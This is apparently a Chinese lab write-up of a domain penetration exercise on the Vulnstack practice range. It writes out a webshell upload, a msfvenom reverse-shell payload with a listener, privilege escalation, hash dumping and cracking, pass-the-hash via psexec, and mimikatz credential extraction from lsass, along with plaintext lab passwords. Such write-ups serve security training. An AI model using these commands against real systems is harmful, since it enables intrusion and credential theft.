Vulnstack域渗透

1.要求

任务1:域环境服务器的搭建

要求:1台域控,2台域成员主机(其中1台为Web 服务器,双网卡,仅主机模式和NAT模式;且在Web 服务器上部署任一Web漏洞平台。

任务2:域环境信息收集

利用常用命令,对当前域环境进行信息收集。

2.过程

VulnStack 是红日安全团队打造的内网渗透开源靶场平台

下载 Vulnstack 域靶场(域控已部署好,但需修改网络模式)

直接使用现成的 Vulnstack 靶场镜像,无需手动搭建域控,仅调整网络配置即可

密码:hongrisec@2019

给win7部署pikacu平台

域环境
1
2
3
4
5
6
7
8
9
win2k3域内主机:
内网ip:192.168.52.141

win2008域控::
内网ip:192.168.52.138

Windows7(内配有phpstudy web环境):
内网ip:192.168.52.143
模拟外网ip:192.168.225.35
将三台改为仅主机模式

image-20251229110735745

将win7新增一块网络适配器,改为NAT模式,让其能连通网络

image-20251229111034317

现在的nat网卡上的ip是随机分配的,为了让它ip不变,可以直接配置静态ip

image-20251229113130436

仍然可以ping通

image-20251229112237539

phpstudy搭建pikachu

我的是可以直接用的,就没有停用修复的过程

接着就是下载pikachu靶场,放到www目录

image-20251229112843259

pikachu搭建成功!

image-20251229112953024

发现数据库连接失败,修改一下配置文件里mysql的密码就可以了!

image-20251229114022675

域环境认识

AD 域:就是通过 Active Directory 服务,把多台主机(Win2008、Win2k3、Win7)纳入同一个域管理体系,由域控制器统一管控账号、权限、策略,这是域环境的核心。

win2008是域控,AD域的根域名god.org

image-20251229220022835

添加为域成员

Win2k3(192.168.52.141)和Win7(192.168.52.143)加入god.org域

其实这里已经是改好的了

Win7

image-20251229220757446

dev是你域里创建的一个组织单元

dev1stu1:属于这个 OU 下的域成员计算机

李刚:属于这个 OU 下的域用户账号

image-20251229221136205

添加域用户

添加域用户

image-20251229222347372

更改域用户配置,可以登录到所有的域内计算机

image-20251229222843974

登陆到所有计算机

账号: GOD\web

密码 :………

image-20251229223726820

域内计算机都可以登录

管理域用户

管理用户登录时间

image-20251230094138901

限制登录主机

image-20251230094257897

域渗透初步

image-20251230100740135

域渗透信息收集阶段

通过pikachu漏洞平台上传一句话木马

嗯嗯呢那我就选一个最简单的关卡!!

image-20251230102543136

成功上传

image-20251230102709402

连接yijian

image-20251230102732711

查看本机ip,所在域

1
ipconfig /all
1
2
3
4
5
6
7
8
本地连接 5
IPv4:192.168.225.35
网关:192.168.225.2
DNS:8.8.8.8(公网 DNS)
本地连接
IPv4:192.168.52.143
网关:192.168.52.2
DNS:192.168.52.138(这是域控制器的 IP,因为域内 DNS 通常指向域控)

这台stu1god.org域的成员机,且域控在192.168.52.138

image-20251230103549749

image-20251230103453539

image-20251230103426573

打印路由信息

1
route print 

image-20251230103947112

查域控上的所有域用户

net user /domain → 查域控上的所有域用户

net user → 查当前主机(stu1)的本地用户

liukaifeng01 同时存在于域用户本地用户

1
net user /domain

image-20251230105440029

域内渗透后渗透

msf提权

生成payload

这个命令会创建一个名为 hack2.exe 的 Windows 程序。当这个程序在任何一台 Windows 电脑上被运行时,它会在后台悄悄地尝试连接回 IP 地址为 192.168.225.128 的机器的 6666 端口。

1
2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.225.128 LPORT=6666 -f exe -o hack2.exe
//192.168.225.128是攻击机Kali的IP地址
蚁剑上传hack2.exe

image-20251230111133806

image-20251230111609126

msf监听并提权

windows/meterpreter/reverse_tcp是一个高级后门

1
2
3
4
5
6
7
8
9
10
11
12
#启动MetaSploit
msfconsole
# 使用攻击模块
use exploit/multi/handler
# 选择payload类型r
set payload windows/meterpreter/reverse_tcp
# 选择kali地址
set lhost 192.168.225.128
# 选择监听端口
set lport 6666
# 运行
run

运行之后在kali这边监听6666端口,同时在yijian上执行hack2.exe,连接回 IP 地址为 192.168.225.128 的机器的 6666 端口。

image-20251230111554428

查看当前权限,现在是域管理员权限

1
getuid 

image-20251230111736374

getsystem这是 Meterpreter 中最强大的命令之一,它会自动尝试多种技术来将当前用户权限提升到本地系统权限

这证明你的权限已经成功提升到了SYSTEM

1
getsystem

image-20251230111957917

为什么已经是域管理员了,还要提权到 SYSTEM?

  • GOD\Administrator (域管理员)

    • 范围: 权限范围是整个域
    • 能力: 可以管理域内的所有计算机、用户、组策略等。
    • 性质: 这是一个用户账户
  • NT AUTHORITY\SYSTEM (本地系统)

    • 范围: 权限范围仅限于当前这一台计算机
    • 能力: 拥有这台计算机上的所有权限。可以读取所有文件、注册表,控制所有进程和服务,绕过大部分本地安全限制。它是 Windows 操作系统中权限最高的账户。
    • 性质: 这不是一个真正的用户账户,而是一个安全主体,代表操作系统本身。

提权到SYSTEM有啥用?

  1. 绕过安全软件: 一些杀毒软件或安全防护程序以 SYSTEM 权限运行,它们可能会阻止来自管理员账户的某些操作,但不会阻止来自 SYSTEM 自身的操作。
  2. 访问受保护的资源: 有些系统文件、目录或注册表项被配置为只允许 SYSTEM 账户访问,即使是管理员也无权直接读取或修改。
  3. 操作核心系统服务: 你可以更稳定、更彻底地操作或注入到以 SYSTEM 权限运行的核心系统服务中。
  4. hashdump 的需要: 在 Meterpreter 中,hashdump 命令(用于导出本地用户的密码哈希)通常需要 SYSTEM 权限才能成功执行。
–扩展-Hash传递攻击

我们用msf自带的模块进行hash抓取

智能地从目标系统中导出所有可用的密码哈希值

这里就体现了为啥要提权到SYSTEM

如果是 NT AUTHORITY\SYSTEM 权限(最高权限)

  • 它会尝试直接从内存中读取 LSASS (Local Security Authority Subsystem Service) 进程的数据。LSASS 是 Windows 系统中负责处理安全策略和用户认证的核心进程,所有登录用户的密码哈希(包括 NTLM 和 LM)都存储在这里。
  • 这种方法非常高效且无需将任何文件写入磁盘,因此很难被杀毒软件检测到。

image-20251230112609192

1
/root/.msf4/loot/20251229222453_default_192.168.225.35_windows.hashes_325574.txt

模块已经自动把哈希值保存到了 Kali 攻击机的这个文件里,格式是 John the Ripper(密码破解工具) 能直接识别的格式,后续可以直接用这个文件进行密码破解。

提取方式

1
Running as SYSTEM extracting hashes from registry

核心哈希数据

用户名 RID LM 哈希 NTLM 哈希 说明
Administrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 本地管理员账户
liukaifeng01 1000 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 普通本地用户

NTLM哈希是真正有用的核心数据两个用户的 NTLM 哈希相同,大概率是设置了相同的密码。

把保存哈希的 txt 文件丢给 John the RipperHashcat,用密码字典跑爆破,尝试还原明文密码:

1
2
# John the Ripper 破解
john /root/.msf4/loot/xxx_windows.hashes_325574.txt --wordlist=/usr/share/wordlists/rockyou.txt
Hash传递攻击

一句话概括:它允许你在不知道用户明文密码的情况下,直接使用用户的密码哈希值来登录到另一台机器,从而获得一个远程控制会话

这彻底颠覆了 “必须知道密码才能登录” 的传统观念,是域渗透中横向移动的核心技术。

use exploit/windows/smb/psexec选择一个名为 psexec 的攻击模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msfconsole
# 选择 psexec 攻击模块(通过 SMB 协议+哈希认证拿权限)
use exploit/windows/smb/psexec
# 查看需要配置的参数
show options
# 设置目标主机 IP(你要攻击的机器)
set RHOST 192.168.225.35
# 设置用于认证的用户名(这里用管理员账户)
set SMBUser administrator
# 设置哈希值,格式是 LM哈希:NTLM哈希
set smbpass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# (关键补充1)设置 Payload,和之前反向连接一致
set payload windows/meterpreter/reverse_tcp
# (关键补充2)设置攻击机IP(你的Kali地址)
set LHOST 192.168.225.128
# (可选)设置监听端口,默认4444,也可以用你之前的6666
set LPORT 6666
# 执行攻击
run
mimitakz获取明文密码

下载这个工具 github mimitakz

蚁剑上传这个工具,到Web服务器。

这个工具,必须管理员权限

  • Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码,lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用 可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也 就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

我们再上传并使用mimitakz(实战中需要免杀处理)进行抓取

1
2
3
shell
chcp 65001 //Meterpreter会话进入shell执行DOS命令时会出现中文乱码,65001为
UTF-8编码

image-20251230140536543

上传yijian,解压

1
2
3
4
echo Set sh=CreateObject("Shell.Application") > unzip_trunk.vbs & echo Set zip=sh.NameSpace("C:\phpStudy\WWW\mimikatz_trunk.zip") >> unzip_trunk.vbs & echo Set dst=sh.NameSpace("C:\phpStudy\WWW") >> unzip_trunk.vbs & echo dst.CopyHere zip.Items,16 >> unzip_trunk.vbs

cscript unzip_trunk.vbs

image-20251230140725510

先进行权限提升

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

image-20251230141252379

域管理员

User Name : Administrator: 用户名是 Administrator

Domain : GOD: 所在域是 GOD

Password : 20060115Zy@%: 明文密码

在Web服务器上,以administrator管理员的账户登陆。只能抓取到-管理员administrator的密码。

抓取域成员账户和域控管理员的账户和密码。 在Web服务器上,使用GOD\administrator账户登陆后,查看计算机属性–更改计算机设置后,即可弹出 域控的账户 和密码输入,即使用域控管理员的账户和密码也登陆一次,再抓取

手动触发域账户登录

1
2
3
先在 Web 服务器上,用普通域成员账户登录一次系统(比如远程桌面、本地登录)。
再执行 “查看计算机属性→更改计算机设置”:这个操作需要域控管理员权限,此时会弹出域账户验证框,输入 域控管理员账户 & 密码 完成验证。
作用:这两次登录会让 域成员账户、域控管理员账户的凭据同时存入 Web 服务器的 lsass.exe 内存。

抓取凭据

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

抓取结果中,域控管理员账户的 SID 结尾通常是 500(域管理员默认 RID),域名称是你的域

接下来我们进一步渗透入内网,对域中的其他主机进行渗透。

后信息收集

一次性查询并输出当前计算机的所有关键系统信息

1
systeminfo

image-20251230143002287

image-20251230143253024

Windows的各类用户角色

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.1 本地账户
本地账户是一种在本地计算机上创建的用户账户。本地账户可以让用户在本地计算机上登录并访问
本地计算机上的资源。本地账户可以分为管理员账户和标准用户账户两种类型。管理员账户具有更
高的权限,可以对系统进行更改和配置,而标准用户账户则只能进行有限的操作。
1.4 本地服务账户
本地服务账户是一种用于运行Windows服务的账户。本地服务账户通常由Windows系统自动创
建,并且不需要用户进行登录。本地服务账户可以让服务在后台运行,而不会干扰用户的操作。本
地服务账户的权限通常比管理员账户和标准用户账户更低。
1.5 系统账户
系统账户是一种用于Windows系统进程和服务的账户。系统账户是Windows系统内置的账户之
一,具有高权限和特权,可以访问和更改系统资源和设置。系统账户通常不需要用户登录,而是由
Windows系统自动分配和使用。系统账户的权限通常比本地服务账户和其他用户账户更高。
1.6 域账户
域账户是一种与Windows域相关联的账户。Windows域是一个网络中的用户和计算机的逻辑集
合,可以由管理员进行管理和控制。域账户可以让用户登录到Windows域中的计算机,并访问域
中的资源和数据。域账户可以分为域管理员账户、域用户账户、域服务账户等。

3.实验小结

本次实验以 Web 服务器为突破口,通过上传并运行mimikatz工具,借助privilege::debug获取调试权限,再利用核心命令sekurlsa::logonpasswords读取lsass.exe进程内存,成功提取到域管理员Administrator的明文密码、NTLM 哈希及机器账户STU1$的相关凭据;实验验证了 Windows 系统中登录凭据会暂存于内存的特性,也明确了让高权限账户在目标机器产生登录行为是抓取有效凭据的关键前提。